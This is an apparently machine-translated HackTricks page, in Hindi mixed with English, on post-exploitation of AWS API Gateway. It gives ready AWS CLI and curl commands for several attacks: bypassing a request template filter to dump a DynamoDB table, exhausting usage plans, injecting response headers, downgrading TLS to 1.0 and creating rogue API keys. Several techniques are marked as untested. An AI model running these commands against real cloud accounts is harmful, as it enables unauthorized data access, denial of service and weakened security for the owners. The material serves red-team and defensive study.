AWS - API Gateway Post Exploitation
Reading time: 7 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
API Gateway
अधिक जानकारी के लिए देखें:
अप्रदर्शित APIs तक पहुँच
You can create an endpoint in https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint with the service com.amazonaws.us-east-1.execute-api, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.
फिर, EC2 मशीन से आप उस endpoint तक पहुँच पाएँगे और इसलिए उस gateway API को कॉल कर सकेंगे जो पहले exposed नहीं था।
Bypass Request body passthrough
This technique was found in this CTF writeup.
जैसा कि AWS documentation में PassthroughBehavior सेक्शन में बताया गया है, डिफ़ॉल्ट रूप से वैल्यू WHEN_NO_MATCH, request के Content-Type हेडर की जाँच करते समय, request को बिना किसी transformation के backend को पास कर देता है।
इसलिए, CTF में API Gateway के पास एक integration template था जो response में flag के exfiltrated होने को रोक रहा था जब एक request Content-Type: application/json के साथ भेजी गई थी:
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
हालाँकि, Content-type: text/json के साथ एक अनुरोध भेजने से उस फ़िल्टर को निष्क्रिय कर दिया जा सकता था।
अंत में, चूँकि API Gateway केवल Get और Options की अनुमति दे रहा था, यह संभव था कि कोई भी मनमाना dynamoDB क्वेरी बिना किसी सीमा के भेजी जा सके अगर क्वेरी को बॉडी में रखकर POST request भेजा जाए और हेडर X-HTTP-Method-Override: GET का उपयोग किया जाए:
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
Usage Plans DoS
In the Enumeration section you can see how to usage plan प्राप्त करें of the keys. If you have the key and it's सीमित to X usages प्रति माह, you could बस इसे इस्तेमाल करके DoS पैदा कर सकते हैं.
The API Key just need to be शामिल inside a HTTP header called x-api-key.
apigateway:UpdateGatewayResponse, apigateway:CreateDeployment
An attacker with the permissions apigateway:UpdateGatewayResponse and apigateway:CreateDeployment can एक मौजूदा Gateway Response को modify करके custom headers या response templates शामिल कर सकता है जो sensitive information को leak करें या malicious scripts को execute करें.
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
संभावित प्रभाव: Leakage of संवेदनशील जानकारी, दुर्भावनापूर्ण स्क्रिप्ट्स का निष्पादन, या API resources तक अनधिकृत पहुँच।
note
परीक्षण आवश्यक
apigateway:UpdateStage, apigateway:CreateDeployment
एक हमलावर जिसके पास apigateway:UpdateStage और apigateway:CreateDeployment अनुमतियाँ हों, मौजूदा API Gateway स्टेज को बदलकर ट्रैफ़िक को किसी अन्य स्टेज पर रीडायरेक्ट करने या कैशिंग सेटिंग्स बदलकर कैश किए गए डेटा तक अनधिकृत पहुँच प्राप्त करने में सक्षम हो सकता है।
API_ID="your-api-id"
STAGE_NAME="Prod"
# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potential Impact: कैश्ड डेटा तक अनधिकृत पहुँच, API ट्रैफ़िक में बाधा डालना या उसे इंटरसेप्ट करना।
note
परीक्षण आवश्यक
apigateway:PutMethodResponse, apigateway:CreateDeployment
एक हमलावर जिसके पास apigateway:PutMethodResponse और apigateway:CreateDeployment अनुमतियाँ हैं, वह मौजूदा API Gateway REST API method के method response को संशोधित कर सकता है ताकि इसमें कस्टम हेडर या response templates शामिल किए जाएँ जो संवेदनशील जानकारी को leak कर दें या दुर्भावनापूर्ण स्क्रिप्ट चला सकें।
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"
# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Potential Impact: संवेदनशील जानकारी का leak, दुर्भावनापूर्ण स्क्रिप्ट्स का निष्पादन, या API resources तक unauthorized access।
note
परीक्षण आवश्यक
apigateway:UpdateRestApi, apigateway:CreateDeployment
apigateway:UpdateRestApi और apigateway:CreateDeployment permissions वाले attacker API Gateway REST API सेटिंग्स को संशोधित करके logging को disable कर सकता है या minimum TLS version बदल सकता है, जिससे API की सुरक्षा कमजोर हो सकती है।
API_ID="your-api-id"
# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
संभावित प्रभाव: API की सुरक्षा को कमजोर करना, संभावित रूप से अनधिकृत पहुँच की अनुमति देना या संवेदनशील जानकारी उजागर करना।
note
परीक्षण की आवश्यकता
apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey
जिनके पास apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, और apigateway:CreateUsagePlanKey अनुमतियाँ हैं, वह attacker नए API keys बना सकता है, उन्हें usage plans से जोड़ सकता है, और फिर इन keys का उपयोग अनधिकृत रूप से APIs तक पहुँच के लिए कर सकता है।
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
Potential Impact: अनधिकृत पहुँच API संसाधनों तक, सुरक्षा नियंत्रणों को दरकिनार करना।
note
परीक्षण आवश्यक
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
HackTricks Cloud